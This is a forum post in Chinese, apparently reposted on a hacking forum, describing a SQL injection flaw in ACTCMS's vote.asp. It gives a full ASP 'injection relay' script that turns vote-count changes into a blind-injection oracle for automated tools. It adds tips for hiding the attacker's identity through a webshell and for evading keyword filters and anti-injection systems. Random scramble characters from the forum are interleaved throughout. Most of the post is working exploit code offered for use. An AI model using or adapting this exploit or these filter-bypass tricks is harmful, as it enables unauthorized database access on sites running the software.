找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2155|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |正序浏览 |阅读模式

# o, [1 l  t+ j5 \3 H3 r& o看到ninty大牛的blog的一篇文章
$ r  g) O. e1 n& q7 u1 U. F. W. O链接标记[url]http://www.forjj.com/?action=show&id=80[/url]8 {3 w0 |% M8 |. b+ g+ j
关于actcms漏洞的利用  by 3x qq:381862589# C/ Q3 B7 `1 S# K) j
转载请注明以上. k  {" g. a7 C: z
漏洞文件:" _/ d. w* Z6 i  A9 s) y7 \4 O
/plus/vote/vote.asp
. t5 j! T2 B3 s( ^' w, E代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    4 `4 W) s0 I% L

  q# s: {+ ~# p' M  d2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   # C! M9 V' |) e0 @; @4 z
$ r  o3 f; B! n* S2 m" [9 _7 [
3    response.end    + F1 }! Y- a, ]  Q6 \8 y0 ?6 U
1 l# l( R0 Z0 O$ L1 a+ o3 d: h4 J, d( N
4    end if    3 _7 c! m1 ?* m: w. i

3 @! M$ j  J* ~' C# H  z2 Z/ Y5    for i=1 to request("voted").count   
! w2 w7 [; f. K! O, L# g; t
9 r1 @$ q- p3 R: W6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
. t* \0 Z1 Z8 [5 ]# c( |0 p& S) l. [# _
7    next   
" ~7 k' c+ H! W  c. E3 M
4 Z7 `" _7 I4 v* q: I- p! K) `8....    ( s. D8 d+ u/ l) y# W) N. B

5 s9 U  O( ^8 i# ^% W9response.Redirect "index.asp?id="&id&""   ( W/ G) ^, P. ]) W3 G
投票结束回跳转回index.asp这个投票结果页面* y1 y& l! h( S
如果投票成功票数加1& j0 o# Q% z3 i+ }9 N& n6 J  O
            失败票数不变% C/ U, T  ~8 T. K- [. E. Z
如图:" c  m+ V2 r# ?3 ]( w2 c
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)% P8 Y+ E1 S9 G% P' a$ y3 V
. K( E$ I9 g# u) r% t
2009-12-27 13:20) X, z& j# E; S1 C% A
" E; @- S5 C+ U$ P5 u* Y3 {' y
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
- c) N9 r, y& \" f2 l  a; f+ E9 T
本帖隐藏的内容需要回复才可以浏览  H% f; ^, ^" N6 m2 t
我们用注入中转来实现这个注入具体代码如下:
/ x* K1 x. W: t# D7 p先用寂寞的刺猬大牛的注入中转生成jmget.asp! q$ i8 ]2 O! ~' l( i# [) p7 u) O
注入地址:http://localhost/actcms/plus/vote/vote.asp, R2 H  c& e/ D6 c0 L
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
. g6 V; Q3 T, U3 g. ~; ~  Q4 x. I7 g
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ( Y9 x0 A  p) t& _+ ]" m- J
7 @# h7 o5 o( _1 B& k) u; t2 O
02JmdcwName=request("jmdcw")
  P( O2 v/ ]  r/ K; u4 ?1 t) t# [- S% h3 Y4 _; A+ p
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
! q, ^7 }! O# H
. }" V8 }- l4 \8 }( V04JmStr="id=1&voted=-1 or 1="&JmdcwName
5 l: L9 h( i# v" S# j. l/ W1 C% K7 w. E5 Q4 S0 ^; g
05JmStr=URLEncoding(JmStr)
5 A% J/ K7 d* P* B/ ^# \
) }3 P7 _- M. @$ N06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
  h5 }5 G7 E( N2 Q
; c$ Q# \3 r# |9 D2 \/ ^1 d07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
  X( L2 u0 ^6 s. j; z, z. A- k% T  q* y8 z- U1 c
08testurl=testurl & "?" & JmStr 3 d( ~5 K, J; y: j' Y
2 _/ Q6 Y! M* q. K
09JMUrl=JMUrl & "?" & JmStr , f' ^5 T1 ?) N6 R8 a2 x

! Q& Y6 g, ^1 a10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"  s4 n' l$ j. @$ R# S
5 i7 T7 q. @. k& R, y2 M( f
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
/ a. w/ L+ g6 x5 P- m6 D; ~. n3 P7 ?9 D
12JmCok=replace(JmCok,chr(32),"%20")  % n, d6 ^% w7 ^- y2 d

, ~4 G/ Y9 e* S% N13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
! v+ Q: V2 b. ]0 a" j
* \! S, X" f4 |5 \0 U; S+ B14  
) N. C4 R+ w  a9 n8 B, M0 f* _/ l% ^3 z: {# W* {
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
7 R( y+ X5 D- E! L* v. g& b4 `7 W" y4 L8 v5 H) [( X
16  
  G/ `' g6 d; J
3 z; c3 ?( @( N7 @6 \$ Y17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 5 J* J$ I  @  o) F" W  G

' r6 u" r1 \! m3 l- t( k0 M4 E+ T18response.write test1&""&test2&""
% \0 L7 E2 Q. C4 T/ o; P1 h: ]# T2 Y/ O
19  7 Q) n& Z9 W7 C

+ v& R# c( N- L9 k( R20if test1=test2 then '如前后记录相等,表示失败
& Y  x  z  R* G& U
0 Q' S- W  E( E, i; X21  response.write "failed"
( y$ j5 [# v1 e+ u7 j3 I* A8 _; H; [) C
22else
8 V1 C2 Y. F; k) U
% c3 S) p4 ]6 e. |6 u% D) J# o23  response.write "succeed"0 H5 [- m; o  k) ^0 H- @2 \

5 o! r, H" P0 {  G, U24end if  3 ~$ Y& f7 ^; b/ |! I- U
" N& u" T) m7 e4 B9 [: y) E
25  
# P, Y+ z+ S# s2 T9 i. e/ y- C: f- K1 _; _2 }$ I$ @! A
26response.write "by 3x". @3 x5 ]9 n' h7 [

+ ^- W4 v% j) g8 U9 p6 ^" v# i27  , L% X* C4 |# d+ S
8 }0 |& x0 ^+ a. h: R" s8 b- ~9 v
28  4 w/ V1 r6 M5 K) k3 Y
) y3 }" i6 |! U
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   * o0 d' D' i- H3 o) b8 @1 H
! P1 M) g& [8 y( D/ D, p
30Dim Http
9 @8 q: ~2 ?1 }3 `4 u
! t, Y8 G" W. e  X$ L31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 1 |* p/ p* O: E: I

( j5 \0 ]1 X4 i5 x" z9 p32With Http
, V; f/ d* n% B+ c
, b3 K' p5 x2 ^0 ~& \: }/ {, o33  4 I9 g7 V8 o8 G0 g4 ~' ]% V

/ W  J# Y& e7 G5 N) o4 a34.Open "GET",PostUrl,False
" U, H" L3 K. c% M8 s2 Y3 ?: k7 C: u5 a3 v/ g! ~
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
" Z3 E" L  {& v( e/ X+ H2 K- H% k
- X9 Z4 p) Q, F36.SetRequestHeader "Referer",PostRef   m/ @% T9 p  g) o9 g8 {& U* h

- B& r7 [- `) S4 h: v6 b37.SetRequestHeader "Cookie",PostCok ( V" a% l& W4 p2 `

: R2 h& F, |5 Y  r1 T" c38.Send () 1 H7 A. k: G$ |, q7 X
, b3 w. u5 ~; l+ |6 a, l
39PostData = .ResponseBody
. J' |. d, L$ ?( [3 b# P8 N8 K: S% Q! V6 S; c
40End With( W  o  U7 d# O) H1 p

5 g: d; l. W  S! }0 V( Q$ j) S41Set Http = Nothing! [' G3 m+ \0 {

! H0 i) n+ F0 t7 P42PostData =bytes2BSTR(PostData) ) Q% H: u0 ]' m; X9 U8 z, y

; e) J# o. c3 H  R, N$ \( k: G$ a43End Function
7 e/ y7 u) W5 a6 _# ]+ {" y
: a8 U, f. V  e5 X44  , w0 K9 b2 \5 h  z& Y
# S- T) t9 |6 d1 }
45  
; J; g8 F2 n" N9 E( i; ^3 T
* x* Q$ x7 X- o8 O) C46Function bytes2BSTR(vIn)
: A9 A5 w& |" Q8 G6 D
5 v' b7 d  k4 S47Dim strReturn
. v0 X6 @1 ]' C+ ]( I6 z, l: H0 v1 }9 a1 n) {! H% ?: V0 K8 a8 U
48Dim I, ThisCharCode, NextCharCode
4 A; }( V" ?% x. W
! V+ l8 n: L% q* k49strReturn = ""( H# _9 C8 [  K0 X2 |+ |& X/ M

: {, h! ?* y- `: }+ D  c; W9 H& D50For I = 1 To LenB(vIn) + ]# a2 m7 `) e6 i8 q
+ q1 v0 c9 y4 j/ d
51ThisCharCode = AscB(MidB(vIn, I, 1)) ) Q( b' L% {) b1 G5 e! x

# q9 l- p( s' S1 X- I52If ThisCharCode < &H80 Then
% T. ^1 l$ g" ^( A& i3 S* k- Z4 C* d9 r; S% \
53strReturn = strReturn & Chr(ThisCharCode)
4 F1 S& A& @0 _
$ X& M3 n0 w, M7 a54Else
7 _+ L' p: k+ j# K* W/ n/ G5 o. t, L- B: s3 M
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
' L; k; P% p0 y7 Y1 H; X' o& r9 a
4 F$ Q8 ?, v* y5 S$ o56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) $ B3 I$ z, K$ A9 _: O- l

, ]2 E  {/ P, b& w$ G57I = I + 1 2 v: d0 }$ {' G" y
, ^" r6 ]4 u4 t4 v& H2 t
58End If
( v3 y- m& S% x; y$ ]; ]3 }: }( ^, `% `3 H" v7 e. k
59Next4 K$ n# y( G- t6 E! f5 {1 s/ F/ F

3 E/ M% y$ B" o$ N2 Z- _' o60bytes2BSTR = strReturn . e) d. S7 x. e+ Y' E3 n5 j; d
+ \# Y. @% p9 b% g: ~* ~- n' r
61End Function+ R6 t2 R0 J) }1 \
/ h; u) I' e: }' v; W: z4 v
62  
, b" o- R( m- y7 a8 v6 F( h7 O! F
63Function URLEncoding(vstrin)  2 p6 y; U: Q* I
8 T% l; F3 W) B5 d4 ?/ v8 Q
64strReturn=""
% {$ [7 b# ~2 \. U, O
$ P! y+ D; V& G  w& Y65Dim i
) L, n* _( y' `
  l9 }: f; O4 t( W- T66For i=1 To Len(vstrin)
% S# _$ `! r, ~. i/ Y5 H
" K' ?& ]6 \3 q+ S* Y67ThisChr=Mid(vstrin,i,1) - ^: D7 g' s( @- a: A5 }: W

& O8 B$ W+ R1 D68if Abs(Asc(ThisChr))< &HFF Then
6 J1 G  d4 e6 c8 P  E3 o# v$ w- [; R% {0 J5 L- y9 M
69strReturn=strReturn & ThisChr 6 H% E) A  h6 ^

6 o4 v5 ~; U% C1 K4 B! y4 _# `70Else+ B% H* x$ D: y( \; K
$ y0 \  [- i& g, g9 C
71InnerCode=Asc(ThisChr)
4 Z- B* H  Y* W" q! D! |. d( C6 s) O* \5 n/ A7 Y1 M
72If InnerCode<0 Then& X% i" t) X4 v3 M9 A, G& @

! w6 ]9 \) ^& w3 n73InnerCode=InnerCode + &H10000   X* x" k% S& |. w$ E3 T

# e" O7 O: t5 `! a" z) `4 A+ S2 P74End If
: F, l8 d- d/ Z" k. l
/ m; ]* J+ k* E8 s: c; V75Hight1=(InnerCode And &HFF00) \&HFF
# x3 `/ W6 o( B$ r' |+ g$ C7 A5 ^4 m1 k3 a( Z% C; W5 n
76Low1=InnerCode And &HFF : s$ B' t$ F  Y) E% q. n

# j1 L5 C. e  }' W. k" r# K77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) / o* u' @9 _$ ^& A' j( p

, k' q8 w7 U0 B; H78End if 8 Q* N7 I; l( K! b( l. I6 X

4 P9 T) M- X$ Q, A2 n. s79Next) P- ]7 c, h0 e# g$ o' }
& `. j* _1 t7 S2 e" j# I/ ~3 ]4 Q6 b
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 6 ^: C; }9 t0 o5 x3 U4 [$ E
0 Y# ?  I& p! i7 R
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 6 A: l: ]# d( [0 b$ ?; ~: v5 k; b
, m, [) z/ ~( @8 T' |: f
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 ; V6 g/ x) x/ U- a4 J$ F( Y# S

* m% ?3 E1 r' D( r" H  _% _83URLEncoding=strReturn
# N! _' O+ L9 J
5 i1 y8 q  g; U4 }" r84End Function9 ?( C1 J- @" _5 n* u# _+ a  |
' R5 r* u4 q- `' _5 X. k
85  6 C7 Z' i" c+ }
  J: C# U  N0 P& W  g7 m
86function getSt(body)
' M; }+ T$ O+ s0 q* l- R9 d& M/ w; g3 ~; _2 ^" V
87  startpot=instr(body,"投票人数:")+len("投票人数:") 4 ^! L4 M5 @( `: g0 \% ]3 `+ X

: b& j; _5 f- B$ l- c' G, h' E88  endpot=instr(startpot,body," ") 7 ?" h& F* s* }  M9 n

6 o: ^9 b5 p; ~5 ]. t( G89  getSt=mid(body,startpot,endpot-startpot) 5 r' T- W/ d8 O

' O$ e) _. |3 K$ i; x& t8 d# C90end function
9 K, _. d- ?. W  o5 G' V4 c% c
1 q8 u1 R0 p& n91%>/ V: K- k! o# ?2 p' l3 A0 l
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了+ W: u4 n  Y5 y/ z: ]% b
测试下效果:1 K! ^8 b; D$ P( P% o9 |
投票成功:1 h# ~/ `2 G8 j4 v. ~1 i
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
5 B. Z! k! {" V) Z5 Z" h& b2 M
. o  s/ i/ y% A! t0 v+ [4 o* {2009-12-27 13:29. Y) {2 H, L5 e- s3 E3 k9 r: g6 T) L
投票失败6 s- S! O0 r! ?2 [$ U4 u6 |& C
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)1 o% U* }# v' \5 e& C; O9 Q3 i, A7 S: g; F
  o, y$ C8 \2 m3 w( T' v
2009-12-27 13:29) Y) V. E. S8 x( a! r/ W' ^
-------------------------------------------------------------------------------
: o- o9 r' Y1 y1 `) X再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以, D- P( o) `0 g; P; O! j+ y2 }
很抱歉。。。只能用单线程工具去注入。。。。。. ?& L6 U; M9 F" z* S& }4 h
所以失败。。。不好意思。。。4 U% A0 c# K! i! C( b$ H
-------------------------------------------------------------------------------, d+ U( C& a5 }  M% V

  e' f8 R. i9 a: J5 E, \7 ~注入中转的一些其他应用% V: c5 Z8 p, a3 B/ g
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了) E: o1 ^. Z6 O% V! M) D  b
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
0 x9 U1 M9 l; g2.post注入转成get型的注入,方便我们使用工具来跑
% [2 D2 G0 ^! y8 E  g1 l3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")$ w  r0 K/ f8 |
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过0 i4 m( L& n3 G: s) {' v7 e' p, \

. B/ ^# _9 D  s8 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表